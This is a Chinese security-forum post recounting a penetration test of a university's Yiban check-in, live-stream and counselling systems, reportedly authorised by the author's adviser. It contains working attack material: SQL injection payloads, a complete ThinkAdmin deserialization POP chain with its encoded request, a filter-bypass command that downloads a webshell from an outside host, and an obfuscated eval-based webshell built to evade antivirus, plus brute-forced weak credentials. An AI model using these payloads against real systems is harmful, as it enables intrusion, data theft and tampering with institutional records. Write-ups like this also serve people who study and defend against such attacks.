用户
搜索
  • TA的每日心情
    擦汗
    4 天前
  • 签到天数: 61 天

    连续签到: 1 天

    [LV.6]常住居民II

    超级版主

    培训/业务/联系Q547006660

    Rank: 8Rank: 8

    62

    主题

    220

    帖子

    5939

    魔法币
    收听
    0
    粉丝
    69
    注册时间
    2017-1-18

    秦春秋文阁春秋游侠核心白帽i春秋签约作者幽默灌水王积极活跃奖白帽高手白帽传说

    J0o1ey 超级版主 培训/业务/联系Q547006660 秦 春秋文阁 春秋游侠 核心白帽 i春秋签约作者 幽默灌水王 积极活跃奖 白帽高手 楼主
    发表于 2020-11-13 15:28:17 810766
    本帖最后由 J0o1ey 于 2020-11-24 08:13 编辑

    记一次奇妙的学校系统渗透之旅

    0x01前言

    由于疫情问题,学校的易班APP新增了打卡系统,每天需要进行晨检,午检打卡,忘记的话就是上千字检讨

    本人对于这种“形式主义”深感不满,适逢最近成立了网络安全战队,于是准备操作一番

    IMG_20201030_190004

    非常幸运,校级“易班”系统的负责人就是我们团队的指导老师(一位开发小牛人)

    在取得他的授权后,便开始了对于易班系统的曲折而又精彩的渗透

    在此鸣谢M78sec的所有成员

    0x02踩点

    基本的信息搜集咱们就不多说了

    根据老师口述,该域名下部署有多项功能系统(包括负载均衡,直播,表白墙,打卡签到系统,心理测试系统等等),因此不同系统使用了不同的多台服务器

    看样不能一劳永逸,需要各个系统、服务器逐个击破,然后摸入核心系统中

    首先打开“易班”系统的首页是这个样子

    image-20201113133208461

    不难看出,开发者使用了TP框架,在简单地测试了各种TP 注入,RCE的payload后均以失败告终,看样安全意识还不算太差

    域名下的首页完全就是一个报错页面,没有任何功能点和信息

    俗话说得好,信息搜集的好坏直接决定了我们渗透的成败,因此我们绝对不能疏忽大意。

    我们先来fuzz一级目录

    image-20201113134315588

    成果还不错,不少目录和功能点,随后我们继续fuzz各个一级目录的二级目录,不断摸索该域名下部署的功能点

    具体的就不上图了,因为一级目录太多了。

    了解清楚功能点后,直接脱裤子开干

    0x03 心理健康系统的渗透(IIS短文件名-->老登录口-->爆破-->新登录口-->上传)

    通过一级目录爆破,爆破出

    http://xxx.xxx.edu.cn/psy这个路径

    发现其中部署了心理教育健康系统,中间件为IIS

    但是心理健康系统登录口有验证码机制,而且验证码不容易识别

    image-20201113135959569

    立马想到iis短文件名特性

    随后通过iis短文件名目录扫描工具(https://github.com/lijiejie/IIS_shortname_Scanner)进行扫描

    !([img]https://i.loli.net/2020/11/13/eBsFcAxPQ84OJi1.jpg)

    获取到老的其他系统登录口

    http://xxx.xxx.edu.cn/psy/Login2.aspx

    image-20201113135355472

    如图,没有任何验证码机制

    直接Burp Cluster bomb式爆破

    成功得到其他系统的弱口令admin,Aa123456

    但是老系统其他页面已经删除,无法正常登入后台

    image-20201113140106639

    八嘎呀路,不是良民的干活!

    !([img]https://i.loli.net/2020/11/13/CG5ATyW1mSVdphn.jpg)

    但推测新老系统用的同一个数据库

    访问新系统

    http://xxx.xxx.edu.cn/psy/Login.aspx

    使用密码admin,Aa123456成功登陆

    image-20201113140540357

    后台翻找上传点

    !([img]https://i.loli.net/2020/11/13/IhDTSu7KlFmZR54.jpg)

    上传点在

    http://xxx.xxx.edu.cn/psy/ScaleManage/ScaleEdit.aspx?ScaleListID=1

    量表平台这边的添加题目存在任意文件上传(话说这个上传点...可以说是相当隐蔽了..找了好久才找到)

    image-20201113140741415

    img

    上传aspx会莫名其妙跳转,asp不解析,直接传了个asmx的马

    通过awvs 10的调试模块执行命令

    image-20201113141024659

    权限为net service

    使用cobaltstrike直接powershell一句话上权限

    image-20201113141153516

    结果补丁貌似比较死。。

    各种本地提权Exp上了一遍,没什么逼用

    Com组件,土豆上了也提不下来,先这样吧,提权要是提下来了再补充

    心理健康系统宣布初步拿下

    0x04 直播系统接口注入

    在进入直播系统后,发现没什么可以利用的点,大概开发还没有完成

    DpP1rn.png

    但是在BURP中,我发现了一个ajax接口的请求,下体一硬

    image-20201113142150278

    http请求如下

    POST /index.php/Live/index/seat_ajax.html HTTP/1.1

    Host: xxx.xxx.edu.cn

    Content-Length: 24

    Accept: /

    Origin: http://xxx.xxx.edu.cn

    X-Requested-With: XMLHttpRequest

    User-Agent: Mozilla/5.0 (Linux; U; Android 5.1; zh-CN; 1501_M02 Build/LMY47D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.0.818 U3/0.8.0 Mobile Safari/534.30

    Content-Type: application/x-www-form-urlencoded; charset=UTF-8

    Referer: http://xxx.xxx.edu.cn/index.php/Live/index/seat?place_id=10&active_id=20

    Accept-Encoding: gzip, deflate

    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

    Cookie: ASP.NET_SessionId=s0clwrginz0rw3x0smtwtsgg; PHPSESSID=7985bf0a5f38e5922a651ac1f4ef9b1a; PHPSESSID=7985bf0a5f38e5922a651ac1f4ef9b1a

    Connection: close

    place_id=10&active_id=20

    image-20201113141807391

    进行fuzz找到SQLI Payload

    image-20201114103336060

    两个id参数都存在union注入

    DpuwbF.png

    构造payload

    ) UNION ALL SELECT NULL,NULL,NULL,NULL,user(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- Neqy

    如图成功获得current_user信息

    "_root@10.40.0.22

    构造payload

    place_id=10) UNION ALL SELECT NULL,NULL,NULL,NULL,group_concat(SCHEMA_NAME),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from information_schema.schemata-- Neqy&active_id=20&active_id=20

    image-20201113142647096

    其他的表、列、数据、在此就不演示了,写语句就ok,都非常简单

    SQLMAP自动化演示如图

    !([img]https://i.loli.net/2020/11/13/xX7ZnhQAoskRcEw.jpg)

    后面发现涉及了很多其他系统的库,但并没有摸到我最想要的核心系统的库,因此渗透还得继续

    0X05 一个平淡无奇的B64上传

    FUZZ功能点后,找到了一个未授权可以上传图片的地方

    http://xxx.xxx.edu.cn/v4/public/weui/demo/form12.html

    DpAWkt.png

    DpKYIH.png

    发现data:image/jpeg时上传jpeg图片

    直接改data改为image/php,然后将上传内容base64编码后提交

    image-20201113144832373

    Getshell成功,SYSTEM权限,提权都省了

    !([img]https://i.loli.net/2020/11/13/cRyQC3XMA2duFG8.jpg)

    0X06 核心系统精彩渗透(Nday反序列化+命令执行绕过+条件竞争Getshell)

    寻寻觅觅,冷冷清清,凄凄惨惨凄凄,终于找到了我们的控制“易班”核心系统

    http://xxx.xxx.edu.cn/v4/public/index.php/admin/login.html?s=admin/api.Update/tree

    image-20201113145542691

    胜利就在眼前...不睡觉也要把他给搞下来

    各种fuzz,各种操作一块安排上去,发现并没有什么卵用,依旧日不进去

    !([img]https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1605260776932&di=277bf4601ac474893ffcbe042ec8ef25&imgtype=0&src=http%3A%2F%2Fimg.mp.itc.cn%2Fupload%2F20170317%2Fe45fc62754b74464aa656775cfd14b3b_th.gif)

    难道就此放弃??不可能,这不是我们的风格

    我在仔细查看页面JS的时候,发现了这样一个有趣的信息

    image-20201113145944166

    眼前一亮,妈的ThinkAdmin,正好之前有个反序列化的Nday,安排上!

    !([img]https://i.loli.net/2020/11/13/yJ89hnIeBSXvOos.jpg)

    http://xxx.xxx.edu.cn/v4/public/index.php/admin/login.html?s=admin/api.Update/tree

    PostData:

    rules=a%3A2%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A11%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A13%3A%22%00%2A%00connection%22%3Bs%3A5%3A%22mysql%22%3Bs%3A7%3A%22%00%2A%00name%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A11%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A13%3A%22%00%2A%00connection%22%3Bs%3A5%3A%22mysql%22%3Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A9%3A%22%00%2A%00hidden%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A3%3A%22123%22%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00field%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00schema%22%3Ba%3A0%3A%7B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A9%3A%22%00%2A%00hidden%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A3%3A%22123%22%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00field%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00schema%22%3Ba%3A0%3A%7B%7D%7Di%3A1%3Bi%3A123%3B%7D   //执行whoami

    image-20201113150348311

    下面为反序列化pop链子如下

    <?php
    
    namespace think;
    
    use think\model\Pivot;
    
    abstract class Model{
    
      private $lazySave = false;   # save()
    
      private $exists = false;   # updateData()
    
      protected $connection;
    
      protected $name;       # __toString() Conversion.php =>Pivot
    
      private $withAttr = [];     # assert
    
      protected $hidden = [];
    
      private $data = [];
    
      protected $withEvent = false;
    
      private $force = false;
    
      protected $field = [];
    
      protected $schema = [];
    
      function __construct(){
    
        $this->lazySave = true;
    
        $this->exists = true;
    
        $this->withEvent = false;
    
        $this->force = true;
    
        $this->connection = "mysql";
    
        $this->withAttr = ["test"=>"system"];
    
        $this->data = ["test"=>"whoami"];
    
        $this->hidden = ["test"=>"123"];
    
        $this->field = [];
    
        $this->schema = [];
    
      }
    
    }
    
    namespace think\model;
    
    use think\Model;
    
    \# Model 是一个抽象类,我们找到它的继承类,此处选取的是 Pivot 类
    
    class Pivot extends Model{
    
      function __construct($obj=""){
    
        parent::__construct();
    
        $this->name = $obj;     # $this->name放子类构造方法中赋值,直接放基类属性中初始化不成功
    
      }
    
    }
    
    $a=new Pivot();
    
    echo urlencode(serialize([new Pivot($a),123]));?>

    image-20201113150348311

    权限为system,哈哈哈哈哈哈,天助我也

    但使用echo命令写shell过程中遇到了很多问题
    命令不能带空格,而且<>直接在一条命令中出现写shell,否则会报错
    空格会被转换为+ 而+ 他后端又识别不了

    !([img]https://i.loli.net/2020/11/13/JftkQsum25TDFrb.jpg)

    经过坚持不懈的手动测试,发现/\可以绕过空格的限制

    然后再使用&&来拼接命令,实现对于写入<>检测的绕过

    但是目标机有waf,普通的webshell传上去过几秒就会被杀

    何妨,直接通过条件竞争远程下载免杀的webshell

    构造命令通过条件竞争下载免杀shell

    echo/^<^?php>>s1.php&&echo/file_put_contents('s2.php',file_get_contents('http://49.x.x.x:8080/shell.txt'));?^&gt;&gt;&gt;s2.php

    免杀shell内容如下

    <?php
    
    function test($php_c0d3){
    
      $password='skr';//EnvPwd
    
      $cr=preg_filter('/\s+/','','c h r');
    
      $bs64=preg_filter('/\s+/','','bas e64 _de cod e');
    
      $gzi=$cr(103).$cr(122).$cr(105).$cr(110);
    
      $gzi.=$cr(102).$cr(108).$cr(97).$cr(116).$cr(101);
    
      $c=$bs64($php_c0d3);
    
      $c=$gzi($c);
    
      @eval($c);
    
    }
    
    $php_c0d3='S0lNy8xL1VAvzkjNySlILC5W11EBUeX'.
    
    '5RSma1rxcKgWZeWm2KvFBroGhrsEh0UogvlIsUC'.
    
    'YzTQMiaatUmVqspFnNy1WQARLI1wBprAXi1LLEH'.
    
    'A2EXrgdsZrWAA==';
    
    test($php_c0d3);
    
    ?>

    通过反序列化pop链子生成Postdata

    直接打过去

    http://xxx.xxx.edu.cn/v4/public/s2.php

    密码Skr

    直接拿下

    DpncnS.png

    终于拿下了这个打卡,晚点名,考勤的核心系统,adminer进入库中解密管理员密码

    妈的,还想让老子写检讨???吃屎去吧

    image-20201113151136404

    核心系统宣布拿下~圆满完成任务

    0x07 总结

    本次渗透虽然没什么太骚的操作,但都是长年累月积累起来的经验和细心谨慎才得以拿下这么多的系统

    同时非常感谢M78sec朋友们的协助

    相关报告已经上交老师

    顺便打个广告,如果想享受到高质量的渗透/红队培训,欢迎联系我,在这里只有干货,只有专业耐心的讲师

    具体情况请看帖子

    https://bbs.ichunqiu.com/thread-58937-1-1.html

    image-20201113152056320

    关注我们

    一线渗透测试、红队技术文章有你好看!

    有培训需求或是技术交流需求的朋友可以联系我~QQ547006660|交流群820783253|团队首页www.gcowsec.com|
    发表于 2020-11-13 16:05:29
    顶一顶超级大版主!!!
    让我们一起干大事!
    有兴趣的表哥加村长QQ:780876774!
    使用道具 举报 回复
    发表于 2020-11-13 18:50:32
    顶顶顶,表哥tql!
    使用道具 举报 回复
    图片失效了
    使用道具 举报 回复
    发表于 2020-11-14 16:39:29
    感谢分享
    使用道具 举报 回复
    发表于 2020-11-16 16:20:58
    好家伙,好羡慕你这个环境,我这的活动室可怜巴巴
    My blog :http://www.e-wolf.top
    使用道具 举报 回复
    发表于 2020-11-17 08:42:21
    表哥我来晚了吗
    末心网络安全团队 | Q群374327762 | QQ1044631097
    使用道具 举报 回复
    发表于 2020-11-19 15:17:10
    就这???????
    使用道具 举报 回复
    发表于 2020-11-20 15:15:05
    谢谢楼主!
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册